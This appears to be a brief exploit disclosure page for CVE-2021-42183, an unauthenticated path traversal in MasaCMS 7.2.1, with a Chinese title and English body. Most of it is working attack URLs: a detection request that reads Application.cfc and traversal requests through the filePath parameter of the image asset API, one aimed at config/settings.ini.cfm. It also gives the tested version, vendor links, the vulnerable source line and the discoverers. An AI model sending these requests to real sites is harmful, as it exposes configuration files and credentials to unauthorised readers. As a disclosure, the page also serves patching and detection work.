CVE-2021-42183 — 针对 MasaCMS 7.2.1 中通过 /index.cfm/_api/asset/image/ 的路径遍历的概念验证漏洞利用，允许未认证攻击者读取任意文件，如配置文件和 Application.cfc。 | Kitploit

CVE-2021-42183

MasaCMS 7.2.1 在 /index.cfm/_api/asset/image/ 中存在路径遍历漏洞。

Detection

If this file is readable it means the vulnerablilty exists.
https://example.com/index.cfm/_api/asset/image/?filePath=/Application.cfc

Exploit

https://example.com/index.cfm/_api/asset/image/?filePath=/../<Path>
- Read The Config File
https://example.com/index.cfm/_api/asset/image/?filePath=/../config/settings.ini.cfm

Tested On

MasaCMS 7.2.1

Vendor

http://www.masacms.com

https://github.com/MasaCMS/MasaCMS https://github.com/MasaCMS/MasaCMS/blob/01e0636db0ea4c132906724e1b0772c86e263ada/core/mura/content/file/fileManager.cfc#L368

Discovered By:

Rawi And BassamAssiri.